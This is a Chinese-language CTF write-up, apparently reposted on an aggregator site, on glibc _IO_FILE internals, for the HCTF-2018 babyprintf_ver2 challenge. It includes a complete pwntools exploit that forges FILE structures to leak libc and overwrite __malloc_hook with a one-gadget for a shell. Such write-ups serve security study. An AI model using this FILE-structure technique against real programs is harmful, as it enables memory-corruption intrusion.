浅析IOFILE结构及利用

您所在的位置:网站首页 file头文件 浅析IOFILE结构及利用

浅析IOFILE结构及利用

2023-08-06 01:19| 来源: 网络整理| 查看: 265

浅析IOFILE结构及利用

本文首发于先知社区

在hctf中遇到了这么一个题,也借这个题专门去补了补自己在IOFILE这一块知识点的知识。

libio.h中的结构

struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };

进程中的 FILE 结构会通过chain 域彼此连接形成一个链表,表头为IOlistall。而在标准的I/O库中,程序运行就会加载3个文件流stdio、stdout、stderr。而前文说的链表结构就是将这是三个文件流链接起来

符号表示

_IO_2_1_stderr_ _IO_2_1_stdout_ _IO_2_1_stdin_

其外部存在一个_IO_FILE_plus结构其中包含了_IO_FILE和IO_jump_t结构源码如下struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }

IO_jump_t表结构及对应函数

fread->_IO_XSGETN fwrite->_IO_XSPUTN fopen->malloc a new file struct->make file vtable->initialization file struct->puts initialzation file in file struct fclose ->_IO_unlink_it->_IO_file_close_it->_IO_file_finish(_IO_FINISH)

这里的对应函数在常见的FILE利用中会遇到,也就是伪造vtable表这个在ctf-wiki中有很多的介绍这里就不具体说了(下面的方法可以绕过vtable的检查个人觉得很好用,还好理解,当然是在特定题目中)

对源码中bufbase&bufend的解析

这里会是我们今天介绍的一个重点,这个字段在IOFILE的结构中还是比较重要的,因为不论是read或者是printf都会对其有个调用。read会将读入的字符存在这里,printf则在特定时候会打印这个字符,从而我们可以做一个地址的泄漏和一个任意地址的写操作。

简单记录gdb中查看io_file的指令

pwndbg> p *(struct _IO_FILE_plus *) stdout $1 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7dd26a3 "", _IO_read_end = 0x7ffff7dd26a3 "", _IO_read_base = 0x7ffff7dd26a3 "", _IO_write_base = 0x7ffff7dd26a3 "", _IO_write_ptr = 0x7ffff7dd26a3 "", _IO_write_end = 0x7ffff7dd26a3 "", _IO_buf_base = 0x7ffff7dd26a3 "", _IO_buf_end = 0x7ffff7dd26a4 "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0 , _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3780 , _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0 , _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' }, vtable = 0x7ffff7dd06e0 }

利用gdb再对照源码可以很清晰的查看IOFILE_的结构。

例题HCTF-2018-print_ver2

这个题目和2017的那个printf题很对应,可能是同一个师傅出的,这里会对题目进行一个详细的解析,并且主要针对的是改写buf_base的操作。

保护查看

除了canary基本都开了。。 

程序分析

main函数查看

可以看见程序的大概流程就是,会给我们一个地址,这个地址是我们之后输入的字符串的地址,接下来进行输入,然后对我们的输入进行一个printfchk(利用不了格式化字符串漏洞)接下来动态调试下看下输入的地址有什么奇特的地方。 

发现我们的输入竟然就在stdout的IOFILE表指针的下面,这样我们可能会有一个思路就是覆盖指针然后重写IO_FILE表进行一个利用,而我们的输入是512个字节足够我们去伪造了,这只是大概思路,具体还是会有些困难。

思路实现

地址的泄漏

这里因为会有一个printfchk函数,他会从bufbase这个地址读取然后打印出来,所以我们可以伪造一个IOFILE的bufbase指向一个函数的got表从而泄漏地址

地址写

实现地址写也是将我们需要的写的地址放在bufbase这个地址上,这里我们写的是mallochook这个指针,因为在prinf调用的时候如果出现错误内部会利用这个函数,因为题目给了libc所以将其写入该地址。

exp from pwn import * context.log_level='debug' e=ELF('./babyprintf_ver2') #m = e.libc p=process('./babyprintf_ver2',env={'LD_PRELOAD':'./libc64.so'}) gdb.attach(p) def get(x): return p.recvuntil(x) def put(x): p.send(x) get('So I change the buffer location to ') buf=int(get('\n'),16) base=buf-0x202010 get('Have fun!') file = p64(0xfbad2887) + p64(base+0x201FB0) #进行填充,偏移值利用我们所得的地址在ida中看见的pie偏移 file+= p64(buf+0xf0) +p64(buf+0xf0) file+= p64(buf+0xf0) +p64(buf+0xf8) file+= p64(buf+0xf0) +p64(base+0x201FB0) file+= p64(base+0x201FB0+8) +p64(0) file+= p64(0) +p64(0) file+= p64(0) +p64(0) file+= p64(1) +p64(0xffffffffffffffff) file+= p64(0) +p64(buf+0x200) file+= p64(0xffffffffffffffff) +p64(0) file+= p64(buf+0x210) +p64(0) file+= p64(0) +p64(0) file+= p64(0x00000000ffffffff)+p64(0) file+= p64(0) +p64(0) put(p64(0xdeadbeef)*2+p64(buf+0x18)+file+'\n') get('permitted!\n') libc=u64(get('\x00\x00')) #利用printf进行地址泄漏 base=libc-0x3E82A0 #计算出libc然后急性利用 malloc_hook=base+e.symbols['__malloc_hook'] sleep(0.2) #由于程序是一个循环所以可以重复利用 file = p64(0xfbad2887) + p64(malloc_hook) file+= p64(malloc_hook) +p64(malloc_hook) #进行一个地址的改写 file+= p64(malloc_hook) +p64(malloc_hook) file+= p64(malloc_hook+8) +p64(base+0x201FB0) file+= p64(base+0x201FB0) +p64(0) file+= p64(0) +p64(0) file+= p64(0) +p64(0) file+= p64(1) +p64(0xffffffffffffffff) file+= p64(0) +p64(buf+0x220) file+= p64(0xffffffffffffffff) +p64(0) file+= p64(buf+0x230) +p64(0) file+= p64(0) +p64(0) file+= p64(0x00000000ffffffff)+p64(0) file+= p64(0) +p64(0) put(p64(base+0x4f322)*2+p64(buf+0x18)+file+'\n') put('%s%s%s%s\n') p.interactive() 总结

个人觉得IOFILE在新版的Glibc下应该这个利用是最主流的了,因为在该viable表的时候会检查表的地址的正确性,所以基本只能利用这个方法进行一个利用。写到这里也算是对IOFILE有个比较好的理解了。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3